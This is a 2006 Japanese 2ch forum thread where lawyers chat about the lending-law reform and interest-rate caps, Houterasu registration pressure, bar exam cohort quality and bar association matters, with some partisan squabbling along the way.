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【貸金業法】弁護士本音25【改正or改悪?】

1 :MS先生の代理人:2006/09/04(月) 12:00:15 ID:VxKx1w5T
前スレ↓
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/
注意書き,リンク集などは>>2-10あたりに・・・

2 :MS先生の代理人:2006/09/04(月) 12:00:54 ID:VxKx1w5T
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。

やさしい法律相談part185
http://school5.2ch.net/test/read.cgi/shikaku/1154774357/
やさしい《優しい》法律相談part186
http://school5.2ch.net/test/read.cgi/shikaku/1155475607/
やさしい【易しい】法律相談part187
http://school5.2ch.net/test/read.cgi/shikaku/1156044095/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。



3 :MS先生の代理人:2006/09/04(月) 12:01:46 ID:VxKx1w5T
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/


4 :MS先生の代理人:2006/09/04(月) 12:02:49 ID:VxKx1w5T
過去スレその2
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/

5 :無責任な名無しさん:2006/09/04(月) 13:00:24 ID:t9mfcIpT
タイトルに従って

改悪だろ。

間違いなくヤミ金増える→仕事がたいへんになる。
弁護士の仕事が減る→弁護士会の相談も収入も減る→弁護士の非行も増える。
金融庁のみ焼け太りで官僚がのさばる。
マスコミは広告宣伝費が大幅減少
サラ金を買収した銀行は株価下落で大損害
サラ金大手は人員削減、それ以下は廃業で社員が路頭にまよう
消費減退で不景気に再突入
国営消費者金融創設でまたまた税金の無駄遣い


6 :無責任な名無しさん:2006/09/04(月) 13:10:16 ID:Y8n1geOU
関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【任官】検事になりたいんですがその14【祈願】
http://school5.2ch.net/test/read.cgi/shihou/1157293548/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよ
http://society3.2ch.net/test/read.cgi/koumu/1141056988/
裁判所事務官は力持ち
http://society3.2ch.net/test/read.cgi/koumu/1141159959/

7 :無責任な名無しさん:2006/09/04(月) 13:13:12 ID:Y8n1geOU
弁護士のためのサイト集(二弁知財法研究会)
http://www.dntba.ab.psiweb.com/link/bengoshi-link.html
法令データ提供システム
http://law.e-gov.go.jp/cgi-bin/idxsearch.cgi
総本山
http://www.nichibenren.or.jp/
東弁
http://www.toben.or.jp/
一弁
http://www.ichiben.or.jp/
二弁
http://www.niben.jp/
裁判所
http://www.courts.go.jp/
岡口裁判官のページ
http://okaguchi.at.infoseek.co.jp/top.htm

8 :無責任な名無しさん:2006/09/04(月) 13:23:37 ID:4iT8qQVK
スレ立て乙。

ついさっき、委員会のため大弁の新会館に行ってきた。
びっくりした。

9 :無責任な名無しさん:2006/09/04(月) 13:31:27 ID:VvYC82eD
>>8

また、えらくバブリぃな会館になりましたね。

10 :無責任な名無しさん:2006/09/04(月) 14:02:03 ID:jV1Hey2O
>>5
まだ予断を許しませんが骨抜きになる可能性も相当ありそうです。
ニュアンスは異なりますが,私も貴方に賛成です。
多様な金融商品を揃えておいた方が消費者のニーズにも合致します。
利息制限法の範囲内に押さえてしまえば今のサラ金は貸さなくなるでしょうから,
多重債務者のためになるかも疑問です。
だから私は弁護士会の高金利反対運動には一切参加しません。

http://www.asahi.com/business/update/0901/045.html

11 :無責任な名無しさん:2006/09/04(月) 14:05:31 ID:JE1qZJ0K
偏見込みの私見ですが,
国民運動にすべきものを,消費者系の弁護士が関わると共産党の政治運動に矮小化されてしまう傾向があるな
消費者系の弁護士も最初から自民の大物に頼みに行かないとだめだな。
共産党が絡んだ時点で実現が困難になると言う現実はあるんだから。


12 :無責任な名無しさん:2006/09/04(月) 14:59:20 ID:o46HYFuX
別に高金利引下げは共産党絡みじゃないだろ。

13 :無責任な名無しさん:2006/09/04(月) 15:28:20 ID:bxuH17Db
イスラムと共産主義は金利を認めないだろう。

14 :無責任な名無しさん:2006/09/04(月) 16:48:34 ID:fdWSjZqo
水野真紀の旦那さんは、
寛政の改革 棄捐令の失敗を知らないのかな?

15 :無責任な名無しさん:2006/09/04(月) 17:54:15 ID:o46HYFuX
高金利引下げでヤミ金が増える,なんて貸金業者の戯言を真に受ける弁護士がいるのが痛い。

16 :無責任な名無しさん:2006/09/04(月) 18:15:44 ID:JxjJupwX
自己破産をした人でも、その内何割かは、また、借金をする。ブラックでも貸してくれる
業者から借りるか。あるいは、今度は身内にサラ金から借りさせる。一度怖い目にあって、後悔して、弁護士や裁判官の前で反省してもだ。
これが実態、人間の本性、欲望だ。自分の収入の範囲で生活することができない。我慢、克己心がない人が少なからずいる。
一度破産をしても借金に走るわけだから、正規業者が貸してくれなければ、間違いなくヤミ金に走る。

金利さえ引き下げればハッピーという単純な思考ができる方がうらやましい。

17 :無責任な名無しさん:2006/09/04(月) 18:30:19 ID:o46HYFuX
現在でも,一度破産をした人は事故情報登録期間中は正規業者からは借入れ出来ないのだが?
「金利を引き下げると破産者は正規業者から借りられない」という前提自体が誤っているんだが?

しかもスレ上げてるし。
ルールも知らない業者はお引き取り下さい。

18 :無責任な名無しさん:2006/09/04(月) 18:34:09 ID:E8Pj68lX
>>16
そういう人は金利が高ければ、多重債務者にならないとか、
多重債務者になってもヤミ金に手をださないと思っているわけ?

金利引き下げ運動やってる人たちの殆どは日常的に債務整理を
やってる人たちで、多重債務者の実態についてよく知ったうえで
引き下げるべきだと言ってるんだが。

19 :無責任な名無しさん:2006/09/04(月) 18:37:36 ID:nZvKULPJ
ヤミ金が増えたら,モグラ叩きで潰せばいいだけだ。
今の過払いバブルが異常なだけで,債務整理なんてそんなもの。
ヤミ金相手なら,不法原因給付で元本も返さなくていいんだから,わかりやすい。
ヤミ金が貸倒れまくればヤミ金は減るよ。ヤミ金が流行るのはせいぜい1年か2年だな。

20 :無責任な名無しさん:2006/09/04(月) 18:42:35 ID:JxjJupwX
>17
○なるべくsage進行で。

なるべく、なるべく

ルールをよく見て

21 :無責任な名無しさん:2006/09/04(月) 19:00:47 ID:JE1qZJ0K
上限金利もスレも上げたいのか金貸しのしもべは。
1件20万くらいはもらえるの?
ボロイ商売だねえw

ま,懲りない奴は少数派なので,そこから議論を始めないようにしてくださいな。

22 :無責任な名無しさん:2006/09/04(月) 19:35:56 ID:UhIdQAku
ヤミ金から高利で狂ったように借りまくって豪遊し
無料法律相談で新聞記事の切り抜きもってきて
「不法なんとかでチャラやろ,はよチャラにしてくれ」
だって_| ̄|○

23 :無責任な名無しさん:2006/09/04(月) 19:54:54 ID:BctxlKga
懲りない奴が少数派だとは思わない
ホントに仕事やってるの?

24 :無責任な名無しさん:2006/09/04(月) 20:10:24 ID:9VDKm43Q
>>22
それって欺罔行為にあたるんじゃねーの?
返済の意思と能力がないという点で。

25 :無責任な名無しさん:2006/09/04(月) 20:46:02 ID:nZvKULPJ
まあそうだろうが,ヤミ金潰しのために,そういう恐い者知らずの債務者には頑張って欲しいね。


26 :無責任な名無しさん:2006/09/04(月) 21:34:15 ID:l8mef8wo
>>22
ヤミ金の借金なら貸金業法で無効にできるじゃん

27 :無責任な名無しさん:2006/09/04(月) 21:52:52 ID:M5ldq8oP
>>26
無効にできるけど、不当利得で返還するのかという話でしょ。

28 :無責任な名無しさん:2006/09/04(月) 22:02:02 ID:QYld/jDB
資本家は悪 貸金業者は悪 債務者は被害者
そんな思考停止 教条主義的思考は楽だろうな
選挙の1票のために党の方針に従って下さいね

29 :28:2006/09/04(月) 22:09:22 ID:QYld/jDB
>21
忘れた
党中央の下僕サンへ

30 :いつでもどこでもやっぱりびっぷくおりてぃ:2006/09/04(月) 22:16:14 ID:u9adUNIZ
ここで教えてもらってこいww
えいちてぃーてぃーぴーころんすらっしゅすらっしゅ
びーえるおーじーどっと
えるあいぶいいーでぃーおーおーあーるどっと
じぇいぴーすらっしゅえむゆーえるでぃーいーあーるにじゅうきゅうすらっしゅ


31 :無責任な名無しさん:2006/09/04(月) 22:20:34 ID:l8mef8wo
共産党のみなさんって社会に対する不満をぶちまけてるのに
党中央に対する不満は口外することすら許されないことに
なんの疑問も感じないのかな?

32 :無責任な名無しさん:2006/09/04(月) 22:25:49 ID:o46HYFuX
クレサラやってる弁護士はみんな共産党ですかwww
貸金業者乙。

33 :MS754 ◆yGUnQdhyV2 :2006/09/04(月) 23:15:19 ID:b8xim2eW
>>1
お手数をおかけいたしました。どうもありがとうございます。

反対派を共産党呼ばわりするのは止めませんか。しかも単発IDだし・・・。

34 :無責任な名無しさん:2006/09/04(月) 23:19:41 ID:yzOrGcna
ほとんどのクレサラ弁護士は,共産党や民商を「ときどき便利なもの」くらいにしか思ってない。
政治的なことはあまり考えてない。
ほんとに腐った左翼なら,オリエンタル外資系企業のア○フルを集中的に叩いたりしないわな。

35 :28:2006/09/04(月) 23:28:29 ID:QYld/jDB
>そうだよね。でも、最初に賛成派を貸金業者の下僕呼ばわりしたのは反対派

21 :無責任な名無しさん :2006/09/04(月) 19:00:47 ID:JE1qZJ0K
上限金利もスレも上げたいのか金貸しのしもべは。
1件20万くらいはもらえるの?
ボロイ商売だねえw


36 :35:2006/09/04(月) 23:31:51 ID:QYld/jDB
33へのレス

37 :35:2006/09/04(月) 23:52:35 ID:QYld/jDB
>34チワワはドン様に送金してないからだろ

38 :無責任な名無しさん:2006/09/05(火) 00:05:14 ID:nH/ZPm0a
>32 名前:無責任な名無しさん :2006/09/04(月) 22:25:49 ID:o46HYFuX
クレサラやってる弁護士はみんな共産党ですかwww

皆ではない。金利引き下げ運動の活動家がそう。

39 :無責任な名無しさん:2006/09/05(火) 00:17:04 ID:nH/ZPm0a
>19 :無責任な名無しさん :2006/09/04(月) 18:37:36 ID:nZvKULPJ
ヤミ金が増えたら,モグラ叩きで潰せばいいだけだ。

ヤミ金をつぶすのはそんなに簡単ではない

薬物中毒も売春もなくならないのが現実。取締りにも限界がある
発想を変えて合法化して国が管理して被害の増大を食い止めている国がある
金利規制も同じ きれいごとでは解決しない


40 :無責任な名無しさん:2006/09/05(火) 00:21:33 ID:+b38wwlO
>>38
それも違うぞ。今時、そんなところに共産党の活動家なんて一握りもいない。
労働運動でもちょぼちょぼ。あっちこっちに共産党がいるなんていうのは、反対派の妄想に近い。

41 :無責任な名無しさん:2006/09/05(火) 01:18:48 ID:pGV86X+T
どれが何の「反対派」なんだか訳が分からなくなってきたぞw

もういいよこのネタは。
マターリしよう。

42 :無責任な名無しさん:2006/09/05(火) 01:42:33 ID:5+qhanlV
なんかねえ
刑弁委員会から,まだ法テラスに登録してない人の名前ズラーと並べて(見せしめ??)
「7割しか達成していません。緊急に登録を!9月○日に発表しなきゃいけないんです
だからそれまでになんとか登録をお願いします!!緊急!!!」ってファックス来たよ

申し訳ないけど,今のところよく分からないから保留させてもらってる
だって説明受けたって分からないんだもの
国選やるのは義務だと思ってずっとやってきたけど,本当に分からないんだもの
保留という形で意思表示していることを,この場を借りてお伝えさせていただきます
ごめんね刑弁委員の人

43 :無責任な名無しさん:2006/09/05(火) 01:43:33 ID:u7/+Y0/8
>>42
何ー?じゃおれの名前も出てんのか?

44 :無責任な名無しさん:2006/09/05(火) 01:47:21 ID:0gWWN84X
>>42
>>43

 そういう見せしめ的なことをやっているのは,どこの単位会だ!! 
法律新聞に取材たれ込んでやれ。
>>42
の緊急ファックスは,堀江のガセメールに文体が似ているような希ガス。

45 :無責任な名無しさん:2006/09/05(火) 08:17:16 ID:oXFs4wKh
>>42

46 :無責任な名無しさん:2006/09/05(火) 08:18:42 ID:oXFs4wKh
>>42
弁護士会の人権擁護委員会に相談したほうがいいですよ。
人権侵害団体の勧告をしてもらいましょう。

47 :無責任な名無しさん:2006/09/05(火) 09:29:00 ID:FbP5CWve
>>42
個人情報保護法に違反していると言って弁護士会を訴えろ。
明らかに会員のプライバシー情報の違法な第三者提供だろ。

48 :無責任な名無しさん:2006/09/05(火) 09:34:38 ID:FbP5CWve
慰謝料請求については,法テラスも共同被告にするように。
共同不法行為だからな。

ところで,法テラスって何法人なの?

49 :無責任な名無しさん:2006/09/05(火) 09:40:40 ID:5sEaorps
地方会では、否応無く登録せざるを得ないもんなあ。
しかし、法テラス以降の国選の振り分け、うまくいくんだろうか?
今までは、弁護士会の事務が各弁護士に「先生、この日空いてます?」という感じで
電話して振り分けてたけど、これは弁護士会の事務方が各弁護士の顔を知ってるから
できることなんだよね。厄介な事件になってくると、親しい弁護士に人情でお願いし、
弁護士側も人情で引き受けるというところがあるんだが、顔もしらない法テラスから
振られても、「忙しいから、その事件は無理。」とあっさり答えることになりそう。

50 :無責任な名無しさん:2006/09/05(火) 10:01:19 ID:FbP5CWve
地方会だと,法テラスに弁護士会職員が出向する予定のところもあるようですよ。

51 :無責任な名無しさん:2006/09/05(火) 10:02:13 ID:oXFs4wKh
大丈夫ですよ
日弁連の優秀な執行部の方々が自信を持って進めている事業ですから
いざとなれば推進派の方々が引き受け手のない事件を引き受けてくれますよ

52 :無責任な名無しさん:2006/09/05(火) 10:03:31 ID:37shnDqY
>>42
同じ弁護士会かわからないけど、うちにも来た。
あいうえお順でた行の途中までで170人も名前が載ってるよ。
しかし、法テラスからいったん弁護士会に金を振り込ませて各弁護士に割り振る際に
負担金5%ってあくどい商売だな。申込書のその条項が不愉快で申し込みはしない。

53 :無責任な名無しさん:2006/09/05(火) 10:13:35 ID:oXFs4wKh
>52
人数からして名古屋、横浜クラスかな?

54 :無責任な名無しさん:2006/09/05(火) 10:30:01 ID:kQB9kOHA
CFJに完済解約後、数万の過払い請求をしたんだけど
相手が「債務不存在で0円和解しましょう」と提案してきた。 
完済済みなのに意味が判んないって言ったら
「それでは請求額の5割和解で、これでも特別の条件ですよ」だって。
カマを掛けてきたような債務不存在の提案で、相手に何か突込みどころないですか

上記の件で慰謝料?(損害賠償)を請求しようと思うんですが。
訴状の文面をどんなふうに書いたらいいでしょうか?

被告は完済解約済の過払い金請求をしている原告に対して
契約及び債務が存在しているかのように錯誤させる債権債務不存在≠ナの和解を提案してきた。
被告は会社方針として、解約済みの過払い請求に対して債権債務不存在の提案を行っている。
これは違法行為で有り、その行為に対して慰謝料20万円を請求する。

上記みたいな感じでいいんでしょうか?
訴状を書いたことも無いので思ったままに書いてみました。 慰謝料の額も妥当でしょうか?


55 :無責任な名無しさん:2006/09/05(火) 10:52:45 ID:SHsL8nU9
それでいいですよ。でも、認められるかどうか知らないけど

56 :無責任な名無しさん:2006/09/05(火) 10:57:40 ID:SHsL8nU9
活動家が過払請求について煽りに煽った結果がこうだ。
これからは一般人相手におちおち和解の提案もできないな。

57 :無責任な名無しさん:2006/09/05(火) 14:57:54 ID:EDCIUVIp
>>54
良くて58期か
友人にでも聞け

非弁なら去れ

58 :無責任な名無しさん:2006/09/05(火) 15:11:26 ID:nEVUz6U5
58期を馬鹿にし過ぎ
慰謝料請求は無理。印紙の無駄だから止めといた方がいい

59 :無責任な名無しさん:2006/09/05(火) 16:11:46 ID:747UKsy9
58期ってそんなに不作で有名なのか?

60 :無責任な名無しさん:2006/09/05(火) 16:18:39 ID:AlM83i9L
もうすぐ59期がやってくるよ。
来年はロー卒も。

61 :無責任な名無しさん:2006/09/05(火) 16:32:50 ID:JuMm/b7O
>>59

58期で弁になったのから聞いたんだけど、
2回試験の民裁で、現在の所有権者と担保権者の争いのケース
(所有権の帰属に争いはない)で、「元所有」からkgを
書き始めたやつが300人くらいいたという話だから。


62 :無責任な名無しさん:2006/09/05(火) 16:50:33 ID:TVO6JvK9
それなら他の成績も推して知るべしだろう。何で300人不合格にしなかったんだよ。
教え方が悪いと批判されるからかな?

63 :無責任な名無しさん:2006/09/05(火) 16:58:45 ID:JuMm/b7O
300人も留保または不合格にすると衝撃が大きすぎると
判断したんじゃないだろうか。

64 :無責任な名無しさん:2006/09/05(火) 17:43:22 ID:WWzsQkgr
でも、それって要件事実について何もわかってないということだよね。
素人同然じゃないか。やっぱり合格者は700人位が妥当だったんじゃないか。
ああ、法曹界が崩れていく・・・

65 :無責任な名無しさん:2006/09/05(火) 17:52:32 ID:JuMm/b7O
>要件事実について何も分かってない

そのとおり。
でも、700人はきつすぎるだろ。
俺が見たところ、1000人までは何とかなってる
ように思うけどね。
人間的に変なのが云々というのは別にして。

66 :無責任な名無しさん:2006/09/05(火) 17:59:13 ID:s9unzizl
>>64←700人時代に合格

>>65←1000人時代に合格

67 :無責任な名無しさん:2006/09/05(火) 18:05:32 ID:wlWLn6I1
うちに来る予定の59期修習生には無事2回試験をクリアして欲しい・・・(-人-)


68 :無責任な名無しさん:2006/09/05(火) 18:06:06 ID:JuMm/b7O
残念。

俺は500人時代だよ。

69 :64:2006/09/05(火) 18:14:16 ID:kpKimAtu
>66
俺も500人時代だよ。でもレベル的には500人も700人も変らないと思う。
このあたりは接戦だ。たまたま知ってる問題がでたかどうか運も大きい。
1000人になるとだいぶ変わってくるな。

70 :無責任な名無しさん:2006/09/05(火) 18:18:00 ID:v6++nwSa
700人時代だが、「修習生のレベルも昔より大分落ちた」と言われていたなあ。

71 :無責任な名無しさん:2006/09/05(火) 18:51:11 ID:EDCIUVIp
>>65
そうかな。
1200人くらいまでは大丈夫だったのでは

72 :無責任な名無しさん:2006/09/05(火) 18:53:05 ID:wlWLn6I1
>>71 ← 1200人時代合格

お約束ということで。


73 :無責任な名無しさん:2006/09/05(火) 18:54:38 ID:oXFs4wKh
新60期はまだ分からないが旧60期は相当評判悪いようだね。
なんか外見も馬鹿面が多い。

74 :無責任な名無しさん:2006/09/05(火) 19:00:37 ID:EDCIUVIp
>>72
ありがとうw

75 :無責任な名無しさん:2006/09/05(火) 19:01:33 ID:EDCIUVIp
>>73
年寄りが多い

76 :無責任な名無しさん:2006/09/05(火) 21:22:48 ID:Tfd3I+NW
 敢えて言うが,司法試験の難易度と弁護士としての資質とは,人格の高さは比例する。
 500人時代の司法試験を勝ち抜いてきた連中は,
1 奇跡に近い難易度を何とも思わず(楽観的で前向きな人生に対する意欲)
2 実際にものすごい勉強(質・量)にへこたれず(真っ当に生きるにために必要な根性)
3 ともかく法律家になって何かをやりたい(人権擁護でも・正義の実現でも・革命でも・後世に名を残すでも・「金儲け」でも「人助け」でも)とい
う一途な気持ちで激烈な試験を勝ち抜いてきた。そういう一途な気持ちは,人間としての資質であろう。
4 物事を(法律問題に限らず)理性的・人間的に考え抜く能力(これもやはり社会の指導者層として必要な資質であろう)。
5 根気の良さ,頭脳の明晰さ,勝負強さも人間的資質の一つである。

 私たちの世代(500人合格・湯島時代)は,むしろ「はぐれ者」が多かった。
三里塚で何回もパクられ就職口がなく,百科事典のセールスをやっていた。医師になって働き
始めたが,恐るべき場面に遭遇して医師を辞め弁護士をめざした。暴走族のケツ持ちで少年院長期入院,
父親が元ヤクザ,「おらたち在日が人間扱いされる職業は医者と弁護士とヤクザだけだ」と言う同業者・・・
そういう連中がなぜか合格していった。
 やはり,50期後半以降の同業者を見ると例えば,新入会員紹介原稿で,「私は東大に合格しようと
言うつもりなどハナからなかった」などということを自慢したり,家事審判
で,事件相手方を経済的に苦しめるため,債権者破産をしようとしたり,「当方依頼者は一族が全部大学を出ている。
それに比べ相手方一族で大学を出ている人間は一人もいない。」などという陳述書を平然と提出したり,訴訟技術に
おいても人間力においても「なんだこいつは」という人が少数ながらいる。

古い世代の愚痴話として聴いてくれれば幸い。

77 :無責任な名無しさん:2006/09/05(火) 21:24:52 ID:Ix8uxN9r
>>76
何か支離滅裂

78 :無責任な名無しさん:2006/09/05(火) 21:26:27 ID:Tu2+RdsT
>>76

>私たちの世代(500人合格・湯島時代)は,むしろ「はぐれ者」が多かった。
>三里塚で何回もパクられ就職口がなく,百科事典のセールスをやっていた。医師になって働き
>始めたが,恐るべき場面に遭遇して医師を辞め弁護士をめざした。暴走族のケツ持ちで少年院長期入院,
>父親が元ヤクザ,「おらたち在日が人間扱いされる職業は医者と弁護士とヤクザだけだ」と言う同業者・・・
>そういう連中がなぜか合格していった。

異常人格者ばっかじゃねーかよwwwwwwwwwww

79 :無責任な名無しさん:2006/09/05(火) 21:30:44 ID:Tfd3I+NW
>>78
 なぜ「異常人格者」と鑑別・判定できるのか? 
 明解に説明願いたい。尋常でない人生を送ってきた人
は,少なくない(500人湯島世代)。

80 :無責任な名無しさん:2006/09/05(火) 21:32:31 ID:Tu2+RdsT
>1 奇跡に近い難易度を何とも思わず(楽観的で前向きな人生に対する意欲)
>2 実際にものすごい勉強(質・量)にへこたれず(真っ当に生きるにために必要な根性)
>3 ともかく法律家になって何かをやりたい(人権擁護でも・正義の実現でも・革命でも・後世に名を残すでも・「金儲け」でも「人助け」でも)とい
>う一途な気持ちで激烈な試験を勝ち抜いてきた。そういう一途な気持ちは,人間としての資質であろう。
>4 物事を(法律問題に限らず)理性的・人間的に考え抜く能力(これもやはり社会の指導者層として必要な資質であろう)。
>5 根気の良さ,頭脳の明晰さ,勝負強さも人間的資質の一つである。

自分のことをこれだけ自慢していること自体異常人格者の素質十分ですがね

81 :無責任な名無しさん:2006/09/05(火) 21:42:57 ID:WjPUWCxS
116 :氏名黙秘 :2006/09/04(月) 16:36:08 ID:itbOCvxF
ホームロイヤーズ横浜、来春にもオープンするらしいよ

82 :500:2006/09/05(火) 22:46:01 ID:nH/ZPm0a
>>76
気持はわかるが、40歳以下の人には通じないよ

83 :500:2006/09/05(火) 22:50:22 ID:nH/ZPm0a
>81
ここ内部管理大丈夫なの?
ノウハウを知りたい

84 :無責任な名無しさん:2006/09/05(火) 22:59:14 ID:qLXEAGcF
ぼくはしょうがくせいのときうんどうかいのれんしゅうをしていたの
ですがせんせいはこのがくねんはわたしがこれまでみてきたなかで
いちばんできがわるいといっていましたぼくはじぶんのがくねんは
そんなにできがわるいのかとおもったものですがよくかんがえると
そのせんせいはきっとまいかいどのがくねんにもおなじことをいって
いるのだとおもいました

85 :無責任な名無しさん:2006/09/05(火) 23:44:53 ID:5lWmfFmh
この業界、期も学歴も関係ないからね。
ほんとその人しだい。
また、段々と腐っていくパターンもあるから昔のままと思うなかれ。

86 :無責任な名無しさん:2006/09/05(火) 23:49:23 ID:ygu/psLz
ネットで暴れて評判落としまくっているのもいるし
IT事件に手を出して大火傷おうのもいるし
株に手を出して数千万円の借金背負うのもいるし

駆けずり回って無名だけど周囲の人望集める街弁もいるし
仕事はそこそこでも幸福な家庭を築く人もいるし
人生いろいろ弁護士いろいろ

87 :無責任な名無しさん:2006/09/06(水) 06:00:55 ID:vIumryj6
日々これ精進。
法曹や医師など世の専門家に当然求められる人生訓ですが、
実践はむつかしい。

ましてや、欲望渦巻く汚濁の世界にモロに直面する
この職では、人格陶冶はよりむつかしい。

身の回りの修習生と弁護士歴15年の人の顔を、10人ずつ比較してご覧。
ついでに、裁判官や検事とも。

オラも昔はこんな卑しい目つき、顔つきではなかったのに、
彼らはナンで余り変わらないんだろう、と。
最近チョット、老人性うつ病気味で毎日むなしい気分に落ち込む。

88 :無責任な名無しさん:2006/09/06(水) 07:00:01 ID:9/+y2r6q
でも千人超えたあたりからかなり変質していると思う
弁護士会も段々まともになっていくだろう

89 :無責任な名無しさん:2006/09/06(水) 09:27:13 ID:KOolCSA9
>>76
言わんとすることは分かる気がする
今の新しい人は,流れに乗りたがる人がやたら多い。
群れたがる。

とはいえ,
>>86-87も分かる。


90 :64:2006/09/06(水) 09:44:35 ID:hRVmnfA3
貸金業規制法の改正で来年から業者の貸し渋り、大回収が始まる。大倒産時代の幕開けだ。
施行は1年後、経過期間が3年だから、2年後と3年後がピークになる。
皆さん準備は万端ですか?。弁護士業界にとっては最後の特需ですよ。

91 :64:2006/09/06(水) 09:55:45 ID:hRVmnfA3
多重債務者は全国で200万人。業者から補給をたたれるからほとんどの人が倒産する。
再来年から3年間で破産するとして、年間約60万人が破産
話半分でも30万人、裁判所がパンクしないか?

92 :64:2006/09/06(水) 10:18:08 ID:hRVmnfA3
往生際の悪い債務者はヤミ金に走るから、ヤミ金大繁盛、警察も大忙し、債務者の家族大迷惑

ミーハー坊ちゃんの政治家の単純な正義感と唯物論者が社会の大混乱を引き起こす。
禁酒法ができても、飲酒はなくならず、儲かったのはギャングだけだよ。


93 :無責任な名無しさん:2006/09/06(水) 10:28:49 ID:KOolCSA9
     _____
   /::::::::::::::::::::::::::\〜プーン
  /:::::::::::::::::::::::::::::::::::::::\〜プーン
  |:::::::::::::;;;;;;|_|_|_|_|〜プーン
  |;;;;;;;;;;ノ∪  \,) ,,/ ヽ〜     
  |::( 6∪ ー─◎─◎ )〜            ←>>64
  |ノ  (∵∴ ( o o)∴)〜
  | ∪< ∵∵   3 ∵> ムッキー!
  \        ⌒ ノ_____   
    \_____/ |  | ̄ ̄\ \
___/      \   |  |    | ̄ ̄|  
|:::::::/  \___ | \|  |    |__|
|:::::::| \____|つ⊂|__|__/ /   
|:::::/        | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕    
       カタカタカタカタ


94 :無責任な名無しさん:2006/09/06(水) 11:04:39 ID:uEqTEC90
このスレで粘着しても、何の意味もないだろうに、皿金の中の人も
必死だな。
そういえば、この前久しぶりにテレビを見てたら、借りすぎにご注意とか
なんとか、そういうところを強調した皿金のCMがやたら増えてたな。
金利問題が解決するまでの間のポーズだというのが見え見え。

95 :無責任な名無しさん:2006/09/06(水) 11:54:15 ID:akfpSDeE
消費者保護のための改正のはずが、いつの間にか業者のための改正みたいに
なってきてるね。特例措置で28%を9年間存続っていってるけど、これがグレーを
シロにする意味の特例だったら、酷い話だな。

96 :無責任な名無しさん:2006/09/06(水) 12:09:20 ID:JaCB31I+
2chで世論工作や印象操作ができると思ってる
隠れ業者投稿が痛杉

97 :無責任な名無しさん:2006/09/06(水) 12:49:27 ID:Dh9GTjKJ
弁護士会の影響力なんて無きに等しいから,このスレに粘着しても無意味なんだけどね。

98 :無責任な名無しさん:2006/09/06(水) 12:56:38 ID:JaCB31I+
このスレ自体が弁護士会から独立しているしw

99 :無責任な名無しさん:2006/09/06(水) 13:00:33 ID:KOolCSA9
http://headlines.yahoo.co.jp/hl?a=20060906-00000033-sanspo-ent

衝撃の告白!?岡江久美子「はなまる」ノーブラで出演してた


こっちの方がやばいな

100 :無責任な名無しさん:2006/09/06(水) 13:31:31 ID:Bj9KHxlW
大阪弁護士会は随分立派な会館を建てたもんだね。
日弁連の委員会などをこちらで開催したりするのだろうか。
そうなると霞ヶ関の慢性的な会議室不足も少しは解消するかな。

101 :無責任な名無しさん:2006/09/06(水) 13:33:38 ID:Bj9KHxlW
>>94
問題の本質は,「借りすぎに注意」じゃなくて,「返しすぎに注意」なんだが,サラ金はなんとか煙に巻こうとしてるよ。

